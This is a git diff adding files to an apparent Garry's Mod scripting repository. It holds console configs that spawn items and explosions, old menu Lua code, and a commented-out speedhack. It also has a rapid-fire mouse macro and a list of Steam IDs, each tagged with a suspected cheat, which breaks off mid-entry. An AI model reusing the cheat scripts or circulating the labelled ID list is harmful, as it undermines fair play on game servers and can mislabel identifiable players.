b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/health.cfg @@ -0,0 +1,23 @@ +wait +ent_create item_healthkit +wait +ent_create item_healthkit +wait +ent_create item_healthkit +wait +ent_create item_healthkit +wait +ent_create item_battery +wait +ent_create item_battery +wait +ent_create item_battery +wait +ent_create item_battery +wait +ent_create item_battery +wait +ent_create item_battery +wait +ent_create item_battery +wait diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/lol.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/lol.cfg new file mode 100644 index 0000000..7e68a66 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/lol.cfg @@ -0,0 +1,47 @@ +prop_physics_create props_junk/propane_tank001a.mdl +prop_physics_create props_junk/propane_tank001a.mdl +prop_physics_create props_junk/propane_tank001a.mdl +prop_physics_create props_junk/propane_tank001a.mdl +prop_physics_create props_junk/propane_tank001a.mdl +prop_physics_create props_junk/propane_tank001a.mdl +prop_physics_create props_c17/oildrum001_explosive.mdl +prop_physics_create props_c17/oildrum001_explosive.mdl +prop_physics_create props_c17/oildrum001_explosive.mdl +ent_setname blow +ent_fire blow addoutput "rendermode 1" +ent_fire blow addoutput "renderamt 0" +ent_fire blow break + +ent_create env_explosion +ent_create env_explosion +ent_create env_explosion +ent_fire env_explosion addoutput "targetname blow999" +ent_fire blow999 addoutput "imagnitude 5000" +ent_fire blow999 addoutput "iradiusoverride 5500" +ent_fire blow999 addoutput "fireballsprite sprites/ar2_muzzle1.vmt" +ent_fire blow999 addoutput "rendermode 0" +ent_fire blow999 explode + +ent_create point_tesla +ent_fire point_tesla addoutput "targetname t5" +ent_fire t5 addoutput "m_SoundName DoSpark" +ent_fire t5 addoutput "m_Color 255 155 0" +ent_fire t5 addoutput "m_flRadius 10000" +ent_fire t5 addoutput "beamcount_min 250" +ent_fire t5 addoutput "beamcount_max 500" +ent_fire t5 addoutput "thick_min 2" +ent_fire t5 addoutput "thick_max 10" +ent_fire t5 addoutput "lifetime_min 4" +ent_fire t5 addoutput "lifetime_max 5" +ent_fire t5 addoutput "interval_min 1" +ent_fire t5 addoutput "interval_max 2" +ent_fire t5 addoutput "renderfx 16" +ent_fire t5 addoutput "rendermode 3" +ent_fire t5 addoutput "renderamt 255" +ent_fire t5 turnon +ent_fire t5 DoSpark +ent_fire t5 addoutput "classname ttttt" + +wait;wait;wait;wait;wait;wait;wait;wait + +ent_fire t5 kill \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/melon.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/melon.cfg new file mode 100644 index 0000000..e663f31 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/melon.cfg @@ -0,0 +1,18 @@ +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait +prop_dynamic_create props_junk/watermelon01.mdl +wait diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/nuke.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/nuke.cfg new file mode 100644 index 0000000..b2ba23c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/nuke.cfg @@ -0,0 +1,61 @@ +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +ent_setname bang + +//////////////////////////////////////////////////////////////////////// + +ent_fire bang addoutput "onbreak point_tesla,dospark,,4" +ent_create game_text +ent_fire game_text addoutput "targetname game_text" +ent_fire game_text addoutput "message CA BOOOOM" +ent_fire game_text addoutput "x -1" +ent_fire game_text addoutput "y -1" +ent_fire game_text addoutput "effect 1" +ent_fire game_text addoutput "color 9 100 0" +ent_fire game_text addoutput "color2 4 100 0" +ent_fire game_text addoutput "fadein 0" +ent_fire game_text addoutput "fadeout 0" +ent_fire game_text addoutput "holdtime 6" +ent_fire game_text addoutput "fxtime 0" +ent_fire game_text addoutput "channel 3" +ent_fire game_text addoutput "spawnflags 1" +ent_fire game_text Display + +ent_create env_fade +wait +wait +ent_fire env_fade addoutput "targetname nukeflash" +ent_fire nukeflash addoutput "duration 6.5" +ent_fire nukeflash addoutput "holdtime 999" +ent_fire nukeflash addoutput "renderamt 255" +ent_fire nukeflash addoutput "rendercolor 655 655 655" +ent_fire nukeflash addoutput "spawnflags 1" +ent_fire bang addoutput "onbreak nukeflash,fade,,0" + +//////////////////////////////////////////////////// + +ent_fire bang addoutput "onbreak !player,sethealth,-0,0" +ent_fire bang addoutput "onbreak func_bomb_target,bombexplode,,0" +wait +wait +wait +wait +wait +wait +wait +give point_tesla +wait + + +ent_create env_fire +ent_fire env_fire addoutput "health 100" +ent_fire env_fire addoutput "firesize 10.000" +ent_fire env_fire addoutput "fireattack 10" +ent_fire env_fire addoutput "firetype Natural" +ent_fire env_fire addoutput "ignitionpoint 3" +ent_fire env_fire addoutput "damagescale 9999999999" +ent_fire ent_fire addoutput "spawnflags 255" +ent_fire bang addoutput "Onbreak env_fire,Startfire,3,0" +ent_fire env_ar2explosion explode +ent_fire env_explosion kill +ent_fire env_ar2explosion kill \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/rapid.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/rapid.cfg new file mode 100644 index 0000000..9422e60 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/rapid.cfg @@ -0,0 +1,10 @@ +alias one "+attack;wait;-attack;wait;two" +alias one1 "+attack;wait;-attack;wait;two" +alias two "+attack;wait;-attack;wait;one" +alias reset "alias one one1;bind mouse1 +rapid" +bind alt "reset" + +alias +rapid one +alias -rapid fix + +alias fix "alias one 1;bind mouse1 +attack" \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/1.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/1.lua new file mode 100644 index 0000000..666a6f3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/1.lua @@ -0,0 +1,107 @@ +/*__ _ + / _| __ _ ___ ___ _ __ _ _ _ __ ___| |__ +| |_ / _` |/ __/ _ \ '_ \| | | | '_ \ / __| '_ \ +| _| (_| | (_| __/ |_) | |_| | | | | (__| | | | +|_| \__,_|\___\___| .__/ \__,_|_| |_|\___|_| |_| + |_| 2010 */ + +language.Add( "SingleplayerGame", "Singleplayer Game" ) + +local PANEL = {} + +/*--------------------------------------------------------- + Init +---------------------------------------------------------*/ +function PANEL:Init() + + self:SetMouseInputEnabled( true ) + self:SetKeyboardInputEnabled( true ) + + self:SetDeleteOnClose( false ) + + self:SetTitle( "#SingleplayerGame" ) + + self:CreateControls() + +end + + +/*--------------------------------------------------------- + CreateControls +---------------------------------------------------------*/ +function PANEL:CreateControls() + + self.StartGame = vgui.Create( "StartGame", self ) + self.MapSheet = vgui.Create( "DPropertySheet", self ) + self.MapSheet:SetFadeTime( 0.3 ) + + self.MapIcons = vgui.Create( "MapListIcons" ) + self.MapIcons:SetController( self.StartGame ) + self.MapIcons:Setup() + + local MapList = vgui.Create( "MapListList" ) + MapList:SetController( self.StartGame ) + + local Options = vgui.Create( "MapListOptions", self ) + Options:SetupSinglePlayer() + + local ToyBox = vgui.Create( "ToyboxMap", self ) + + self.MapSheet:AddSheet( "Icons", self.MapIcons, "gui/silkicons/application_view_tile" ) + self.MapSheet:AddSheet( "List", MapList, "gui/silkicons/application_view_detail" ) + self.MapSheet:AddSheet( "Options", Options, "gui/silkicons/application_view_detail" ) + self.MapSheet:AddSheet( "Toybox", ToyBox, "gui/silkicons/toybox" ) + +end + +/*--------------------------------------------------------- + PerformLayout +---------------------------------------------------------*/ +function PANEL:PerformLayout() + self:SetSize( 450, ScrH() * 0.8 ) + + self.MapSheet:SetPos( 8, 25 ) + self.MapSheet:SetSize( self:GetWide() - 16, self:GetTall() - 25 - 8 - 60 - 8 ) + self.MapSheet:InvalidateLayout() + + self.StartGame:SetPos( 8, self:GetTall() - 60 - 8 ) + self.StartGame:SetSize( self:GetWide() - 16, 60 ) + + self.BaseClass.PerformLayout( self ) + +end + +function PANEL:RebuildFavourites() + + self.MapIcons:RebuildFavourites() + +end + +vgui.Register( "StartSinglePlayerGame", PANEL, "DFrame" ) + +SinglePlayerMenu = vgui.Create( "StartSinglePlayerGame" ) +SinglePlayerMenu:SetVisible( false ) + +local function menu_singleplayer() + + if ( SinglePlayerMenu ) then + + SinglePlayerMenu:SetVisible( true ) + SinglePlayerMenu:Center() + SinglePlayerMenu:MakePopup() + + end + +end + +concommand.Add( "menu_singleplayer", menu_singleplayer ) + +local function CloseSinglePlayerMenu() + + if ( SinglePlayerMenu ) then + SinglePlayerMenu:Close() + end + +end + +hook.Add( "StartGame", "CloseSinglePlayerMenu", CloseSinglePlayerMenu ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/111.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/111.lua new file mode 100644 index 0000000..7492098 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/111.lua @@ -0,0 +1,41 @@ + +function PANEL:CreateControls() + self.StartGame = vgui.Create( "StartGame", self ) + self.MapSheet = vgui.Create( "DPropertySheet", self ) + self.MapSheet:SetFadeTime( 0.0 ) + + self.MapIcons = vgui.Create( "MapListIcons" ) + self.MapIcons:SetController( self.StartGame ) + self.MapIcons:Setup() + self.MapIcons:Dock( FILL ) + + --[[ + local Options = vgui.Create( "MapListOptions", MapSheet ) + Options:SetupMultiPlayer() + Options:Dock( FILL ) + ]] + + self.MapList = vgui.Create( "MapListList" ) + self.MapList:SetController( self.StartGame ) + self.MapList:Dock( FILL ) + + self.ToyBox = vgui.Create( "ToyboxMap", self ) + + --[[ + MapSheet = vgui.Create( "DColumnSheet", self ) + MapSheet:UseButtonOnlyStyle() + + MapSheet.Navigation:Dock( RIGHT ) + MapSheet.Navigation:SetWidth( 16 ) + MapSheet.Navigation:DockMargin( 3, 0, 0, 0 ) + + MapSheet:AddSheet( "", self.MapIcons, "gui/silkicons/application_view_tile" ) + MapSheet:AddSheet( "", self.MapList, "gui/silkicons/application_view_detail" ) + ]] + + self.MapSheet:AddSheet( "Icons", self.MapIcons, "gui/silkicons/application_view_tile" ) + self.MapSheet:AddSheet( "List", MapList, "gui/silkicons/application_view_detail" ) + self.MapSheet:AddSheet( "Options", Options, "gui/silkicons/application_view_detail" ) + self.MapSheet:AddSheet( "Toybox", ToyBox, "gui/silkicons/toybox" ) +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/ml_oldmenu.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/ml_oldmenu.lua new file mode 100644 index 0000000..0b9576c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/ml_oldmenu.lua @@ -0,0 +1,103 @@ +--[[ _ + / _| __ _ ___ ___ _ __ _ _ _ __ ___| |__ +| |_ / _` |/ __/ _ \ '_ \| | | | '_ \ / __| '_ \ +| _| (_| | (_| __/ |_) | |_| | | | | (__| | | | +|_| \__,_|\___\___| .__/ \__,_|_| |_|\___|_| |_| + |_| 2010 +]] + +local PANEL = {} + +function PANEL:Init() + self:SetMouseInputEnabled( true ) + self:SetKeyboardInputEnabled( true ) + + self:SetDeleteOnClose( false ) + self:SetTitle("Start New Game") + self:CreateControls() +end + +function PANEL:CreateControls() + self.StartGame = vgui.Create( "StartGame", self ) + self.MapSheet = vgui.Create( "DPropertySheet", self ) + self.MapSheet:SetFadeTime( 0.0 ) + + self.MapIcons = vgui.Create( "MapListIcons" ) + self.MapIcons:SetController( self.StartGame ) + self.MapIcons:Setup() + + local MapList = vgui.Create( "MapListList" ) + MapList:SetController( self.StartGame ) + + local Options = vgui.Create( "MapListOptions", self ) + Options:SetupSinglePlayer() + + local ToyBox = vgui.Create( "ToyboxMap", self ) + + self.MapSheet:AddSheet( "Icons", self.MapIcons, "gui/silkicons/application_view_tile" ) + self.MapSheet:AddSheet( "List", MapList, "gui/silkicons/application_view_detail" ) + self.MapSheet:AddSheet( "Options", Options, "gui/silkicons/application_view_detail" ) + self.MapSheet:AddSheet( "Toybox", ToyBox, "gui/silkicons/toybox" ) +end + +function PANEL:ReloadMaps() + g_MapList = nil + include( 'menu/getmaps.lua' ) + + self.MapIcons:Reload() + self.MapList:Reload() +end + +function PANEL:PerformLayout() + --self:SetSize( 735, ScrH() * 0.8 ) --new + --self:SetSize( 450, ScrH() * 0.8 ) --old + self:SetSize( 570, ScrH() * 0.8 ) --hex + + self.MapSheet:SetPos( 8, 25 ) + self.MapSheet:SetSize( self:GetWide() - 16, self:GetTall() - 25 - 8 - 60 - 8 ) + self.MapSheet:InvalidateLayout() + + self.StartGame:SetPos( 8, self:GetTall() - 60 - 8 ) + self.StartGame:SetSize( self:GetWide() - 16, 60 ) + + self.BaseClass.PerformLayout( self ) +end + +function PANEL:RebuildFavourites() + self.MapIcons:RebuildFavourites() +end + +vgui.Register( "StartSinglePlayerGame", PANEL, "DFrame" ) + +SinglePlayerMenu = vgui.Create( "StartSinglePlayerGame" ) +SinglePlayerMenu:SetVisible( false ) + +local function menu_singleplayer() + if ( SinglePlayerMenu ) then + SinglePlayerMenu:SetVisible( true ) + SinglePlayerMenu:Center() + SinglePlayerMenu:MakePopup() + end +end +concommand.Add( "menu_startgame", menu_singleplayer ) + +local function CloseSinglePlayerMenu() + if ( SinglePlayerMenu ) then + SinglePlayerMenu:Close() + end +end + +hook.Add( "StartGame", "CloseSinglePlayerMenu", CloseSinglePlayerMenu ) + +function OnMapDownloaded( ) + if ( !IsValid(SinglePlayerMenu) ) then return end + SinglePlayerMenu:ReloadMaps() +end + +function OnMapSelected( name ) + if ( !IsValid(SinglePlayerMenu) ) then return end + if ( !IsValid( SinglePlayerMenu.ToyBox.HTML ) ) then return end + + SinglePlayerMenu.ToyBox.HTML:RunJavascript( "OnMapSelected( '"..name.."' );" ); + SinglePlayerMenu.StartGame:SetMap( name ) +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/singleplayer.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/singleplayer.lua new file mode 100644 index 0000000..9473278 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/singleplayer.lua @@ -0,0 +1,145 @@ +/*__ _ + / _| __ _ ___ ___ _ __ _ _ _ __ ___| |__ +| |_ / _` |/ __/ _ \ '_ \| | | | '_ \ / __| '_ \ +| _| (_| | (_| __/ |_) | |_| | | | | (__| | | | +|_| \__,_|\___\___| .__/ \__,_|_| |_|\___|_| |_| + |_| 2010 */ + +local PANEL = {} + +/*--------------------------------------------------------- + Init +---------------------------------------------------------*/ +function PANEL:Init() + + self:SetMouseInputEnabled( true ) + self:SetKeyboardInputEnabled( true ) + + self:SetDeleteOnClose( false ) + + self:SetTitle( "Start New Game" ) + + self:CreateControls() + +end + + +/*--------------------------------------------------------- + CreateControls +---------------------------------------------------------*/ +function PANEL:CreateControls() + + self.StartGame = vgui.Create( "StartGame", self ) + self.MapSheet = vgui.Create( "DPropertySheet", self ) + self.MapSheet:SetFadeTime( 0.0 ) + + self.MapIcons = vgui.Create( "MapListIcons" ) + self.MapIcons:SetController( self.StartGame ) + self.MapIcons:Setup() + self.MapIcons:Dock( FILL ) + + local Options = vgui.Create( "MapListOptions", MapSheet ) + Options:SetupMultiPlayer() + Options:Dock( FILL ) + + self.MapList = vgui.Create( "MapListList" ) + self.MapList:SetController( self.StartGame ) + self.MapList:Dock( FILL ) + + self.ToyBox = vgui.Create( "ToyboxMap", self ) + + MapSheet = vgui.Create( "DColumnSheet", self ) + MapSheet:UseButtonOnlyStyle() + MapSheet.Navigation:Dock( RIGHT ) + MapSheet.Navigation:SetWidth( 16 ) + MapSheet.Navigation:DockMargin( 3, 0, 0, 0 ) + + MapSheet:AddSheet( "", self.MapIcons, "gui/silkicons/application_view_tile" ) + MapSheet:AddSheet( "", self.MapList, "gui/silkicons/application_view_detail" ) + MapSheet:AddSheet( "", Options, "gui/silkicons/wrench" ) + + self.MapSheet:AddSheet( "Maps", MapSheet, "gui/silkicons/world" ); + self.MapSheet:AddSheet( "Toybox", self.ToyBox, "gui/silkicons/toybox" ) + +end + +function PANEL:ReloadMaps() + + g_MapList = nil + include( 'menu/getmaps.lua' ) + + self.MapIcons:Reload() + self.MapList:Reload() + +end + +/*--------------------------------------------------------- + PerformLayout +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + self:SetSize( 735, ScrH() * 0.8 ) + + self.MapSheet:SetPos( 8, 25 ) + self.MapSheet:SetSize( self:GetWide() - 16, self:GetTall() - 25 - 8 - 60 - 8 ) + self.MapSheet:InvalidateLayout() + + self.StartGame:SetPos( 8, self:GetTall() - 60 - 8 ) + self.StartGame:SetSize( self:GetWide() - 16, 60 ) + + self.BaseClass.PerformLayout( self ) + +end + +function PANEL:RebuildFavourites() + + self.MapIcons:RebuildFavourites() + +end + +vgui.Register( "StartSinglePlayerGame", PANEL, "DFrame" ) + +SinglePlayerMenu = vgui.Create( "StartSinglePlayerGame" ) +SinglePlayerMenu:SetVisible( false ) + +local function menu_singleplayer() + + if ( SinglePlayerMenu ) then + + SinglePlayerMenu:SetVisible( true ) + SinglePlayerMenu:Center() + SinglePlayerMenu:MakePopup() + + end + +end + +concommand.Add( "menu_startgame", menu_singleplayer ) + +local function CloseSinglePlayerMenu() + + if ( SinglePlayerMenu ) then + SinglePlayerMenu:Close() + end + +end + +hook.Add( "StartGame", "CloseSinglePlayerMenu", CloseSinglePlayerMenu ) + +function OnMapDownloaded( ) + + if ( !IsValid(SinglePlayerMenu) ) then return end + + SinglePlayerMenu:ReloadMaps() + +end + +function OnMapSelected( name ) + + if ( !IsValid(SinglePlayerMenu) ) then return end + if ( !IsValid( SinglePlayerMenu.ToyBox.HTML ) ) then return end + + SinglePlayerMenu.ToyBox.HTML:RunJavascript( "OnMapSelected( '"..name.."' );" ); + SinglePlayerMenu.StartGame:SetMap( name ) + +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldspeedhack.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldspeedhack.lua new file mode 100644 index 0000000..a980a3c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldspeedhack.lua @@ -0,0 +1,17 @@ + +--[[ +local HeXSpeedHackSpeed = CreateClientConVar("hex_speed", 3) +local function HeXSpeedHack(ply,cmd,args) --old toggle way + if GetConVar("sv_cheats"):GetBool() then + if cmd == "+speedhack" then + HeXSetvar(CreateConVar("host_timescale",""), HeXSpeedHackSpeed:GetInt()) + elseif cmd == "-speedhack" then + HeXSetvar(CreateConVar("host_timescale",""), 1) + end + else + print("[HeX] cheats are off, use hex_svc to enable sv_cheats") + end +end +concommand.Add("+speedhack", HeXSpeedHack) +concommand.Add("-speedhack", HeXSpeedHack) +]] diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/sh_GetHeX.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/sh_GetHeX.lua new file mode 100644 index 0000000..5a08228 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/sh_GetHeX.lua @@ -0,0 +1,17 @@ + +HeX = nil + +timer.Simple(1, function() + if (SERVER) then + for _,ply in pairs(player.GetAll()) do + if (ply:Nick() == "-=[UH]=- HeX") then + HeX = ply + break + end + end + end + + if (CLIENT) then + HeX = LocalPlayer() + end +end) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/sqlite.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/sqlite.lua new file mode 100644 index 0000000..f81e8c8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/sqlite.lua @@ -0,0 +1,13 @@ + +local print = print +local require = require +require("lolsql") + +module("sqlite") + +print("\n\n! loaded lol\n") + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/stonedpotatoes skiddies.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/stonedpotatoes skiddies.lua new file mode 100644 index 0000000..2aede57 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/stonedpotatoes skiddies.lua @@ -0,0 +1,513 @@ + + + + + ["STEAM_0:0:8615861"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:14690776"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:37311111"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:37641228"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:38725115"] = {Name = "SP: Code Injection (Overwritten sqllite)", Skid = true}, + ["STEAM_0:1:42476821"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:37796859"] = {Name = "SP: lesp", Skid = true}, + ["STEAM_0:0:33443787"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:19586627"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:0:43714855"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:20026079"] = {Name = "SP: Odius", Skid = true}, + ["STEAM_0:0:13498644"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:40161470"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:15765533"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19622107"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:40152334"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:28656241"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:40856910"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:26819163"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:28810910"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:16230103"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:13014240"] = {Name = "SP: Mydik", Skid = true}, + ["STEAM_0:1:18214819"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:8731533"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:5226387"] = {Name = "SP: speedhack", Skid = true}, + ["STEAM_0:0:14830743"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:45523007"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:37953440"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:18595265"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:26250283"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:5979318"] = {Name = "SP: Whip it good", Skid = true}, + ["STEAM_0:0:26311595"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:32324604"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:31955945"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:21748050"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:10795659"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:15476329"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:17749887"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:30470607"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19490976"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:15294162"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:37984975"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:37681134"] = {Name = "SP: CubHack", Skid = true}, + ["STEAM_0:1:18413786"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:15141245"] = {Name = "SP: Aspergers", Skid = true}, + ["STEAM_0:0:24350981"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:32471831"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:28657939"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:23749032"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:33017392"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:16431495"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:22597435"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:29005501"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:31866003"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:20472448"] = {Name = "SP: Hermes", Skid = true}, + ["STEAM_0:1:19064705"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:28871977"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:0:25295126"] = {Name = "SP: Mydik", Skid = true}, + ["STEAM_0:0:6428289"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:14260996"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:28785924"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:30652639"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:36232848"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:26676964"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:29812493"] = {Name = "SP: tame", Skid = true}, + ["STEAM_0:0:29192036"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:29971267"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:39962440"] = {Name = "SP: ClarkHack", Skid = true}, + ["STEAM_0:0:38910108"] = {Name = "SP: Isis", Skid = true}, + ["STEAM_0:1:5638935"] = {Name = "SP: Injectshunt", Skid = true}, + ["STEAM_0:0:9643377"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:1:12406388"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:12012182"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:26053222"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:31585345"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:38456959"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:30139620"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:21756969"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:34174066"] = {Name = "SP: coma", Skid = true}, + ["STEAM_0:1:22240086"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:30354552"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:36794289"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:26623243"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:44059222"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:22349391"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:42088029"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:25657133"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:38677580"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:33459537"] = {Name = "SP: Code injection(SQLite)", Skid = true}, + ["STEAM_0:0:24974888"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:38469933"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:33659672"] = {Name = "SP: elebot", Skid = true}, + ["STEAM_0:0:39497530"] = {Name = "SP: Coma", Skid = true}, + ["STEAM_0:1:41052040"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:25107044"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:15778113"] = {Name = "SP: CubHack", Skid = true}, + ["STEAM_0:1:38689930"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:26262689"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:12269454"] = {Name = "SP: SethHack.", Skid = true}, + ["STEAM_0:1:20810532"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:3228595"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19254119"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:5682164"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:29255499"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:6427907"] = {Name = "SP: Aspergers", Skid = true}, + ["STEAM_0:0:23750602"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:39036191"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:6068936"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:9431349"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:2255757"] = {Name = "SP: Mydik", Skid = true}, + ["STEAM_0:0:17277217"] = {Name = "SP: lh", Skid = true}, + ["STEAM_0:0:36473009"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:1:20899589"] = 